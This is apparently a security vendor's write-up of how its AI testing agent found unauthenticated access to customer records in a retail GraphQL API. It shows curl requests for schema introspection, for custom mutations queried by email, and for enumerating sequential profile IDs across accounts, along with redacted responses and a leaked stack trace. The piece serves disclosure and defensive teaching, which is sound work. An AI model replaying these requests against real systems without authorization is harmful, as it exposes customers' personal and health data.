Skip to content

How RAID found unauthenticated customer data in a retail GraphQL API

CovertSwarm's web testing agent identified a critical broken access control vulnerability in a retail subscription platform's GraphQL middleware. The platform enforced authentication on its auto-generated queries, but every custom action handler bypassed the permission layer entirely, returning customer PII, subscription data, and health assessments to unauthenticated requests. This is a step-by-step breakdown of how RAID found it in under two minutes.

Our web testing agent discovered a critical broken access control vulnerability in a retail subscription platform’s GraphQL middleware. The API enforced permissions on its auto-generated queries but left custom actions completely open, allowing anyone on the internet to pull customer records by email address.

The target

A GraphQL endpoint serving as middleware between a retail storefront and customer/subscription data:

```
https://middleware.example.com/api/graphql
```

The agent started with the obvious question: does this need auth?

````bash
curl -sS -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}' \
https://middleware.example.com/api/graphql
```
```json
{"data": {"__typename": "Query"}}
```

 

No cookie. No token. No challenge. It just worked.

Mapping the surface

The agent pulled the full schema via introspection, also unauthenticated:

```bash
curl -sS -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { mutationType { fields { name args { name } } } } }"}' \
https://middleware.example.com/api/graphql```

This returned dozens of operations. The agent’s internal reasoning at this point:

Several mutations are clearly read operations disguised as mutations — `getAllProfiles(identifier)`, `getLatestProfile(identifier)`, `getProfileSubscriptions(profileId)`.
These accept customer identifiers directly. If the generated model queries are protected but these aren’t, the auth gap is in the custom action layer specifically.

To test that theory, it tried a generated model query first:

```json
{
"errors": [{
"message": "PERMISSION_DENIED: Permission denied to access this resource.",
"extensions": {"statusCode": 403, "code": "PERMISSION_DENIED"}
}]
}```

Good, the platform can deny access. Now the critical comparison:

```bash
curl -sS -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { getAllProfiles(identifier: \"[email protected]\") { success result } }"}' \
https://middleware.example.com/api/graphql
```json
{
"data": {
"getAllProfiles": {
"success": true,
"result": [
{
"customer_id": "REDACTED",
"customer_email": "[email protected]",
"profile_id": "REDACTED",
"profile_type": "type-a",
"date_of_birth": "REDACTED",
"weight_band": "REDACTED",
"assessment_answers": "REDACTED"
}
]
}
}
}
```

Full customer data returned. Zero authentication.

The agent’s thinking:

Generated model query → 403 permission denied. Custom action mutation → 200 with customer PII. The platform’s permission system works, but custom actions bypass it entirely. This isn’t a config issue — it’s missing auth logic in every custom action handler.

Confirming the pattern across actions

The agent didn’t stop at one endpoint. It tested the related mutations to understand scope:

Mutation Input Result
`getAllProfiles` email ✅ Returns all customer profiles
`getLatestProfile` email ✅ Returns most recent profile
`getProfilesByTypeA` email ✅ Returns category-filtered profiles
`getProfilesByTypeB` email ✅ Returns category-filtered profiles
`getAllProfileSubscriptions` email ✅ Returns subscription data
`getProfileSubscriptions` profileId ✅ Returns subscription linkage by ID

 

Every single custom read action was open.

Sequential IDs made it worse

The agent noticed profile IDs were integers. It tested a nearby ID that didn’t belong to the test account:

```bash
curl -sS -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { getProfileSubscriptions(profileId: \"100700\") { success result } }"}' \
https://middleware.example.com/api/graphql
```
```json
{
"success": true,
"result": [{
"subscription_id": "UUID-REDACTED",
"profile_id": "100700",
"created_by": "profile-flow"
}]
}
```

That profile belonged to a different customer. Cross-account access confirmed.

Profile IDs are sequential integers and the action performs no ownership check. An attacker can enumerate all profile IDs and pull subscription data for every customer in the system.

Error handling leaked internals

When the agent sent a malformed profile ID:

```json
{
"success": true,
"result": {
"severity": "ERROR",
"code": "22P02",
"message": "invalid input syntax for type integer: \"abc\"",
"stack": "error: ...\n at /app/api/actions/getProfileSubscriptions.js:20:32"
}
}
```

 

The action runs database queries before any auth or input validation. Stack traces confirm PostgreSQL backend with source paths exposed. The action handler is executing custom JavaScript that queries the DB directly — no middleware auth layer intercepts it.

The core bug

```text
Generated model query:
request → platform auth layer → PERMISSION_DENIED
 
Custom action mutation:
request → action handler → database → data returned
```

The platform enforced permissions on auto-generated CRUD operations. But custom actions, the ones developers wrote to serve their specific business logic had no auth checks at all.

The exposed data included customer IDs, emails, profile details, health/preference assessments, subscription metadata, uploaded media references, and internal app configuration.

How the agent found it fast

The decision tree was short:

1. Endpoint reachable without auth? Yes.
2. Introspection enabled? Yes.
3. Generated queries protected? Yes.
4. Custom actions protected? No.
5. Do they accept customer identifiers? Yes.
6. Do they return PII? Yes.
7. Are object IDs sequential? Yes.

That contrast between protected model queries and unprotected custom actions was the signal. The agent identified it in under two minutes of testing and confirmed it across seven separate operations.

The lesson: in GraphQL apps built on low-code platforms, the generated layer often handles auth correctly. The custom actions, the ones that matter most to the business, frequently don’t.

RAID found the gap by asking one question: do custom actions get the same protection as generated ones?

They didn’t.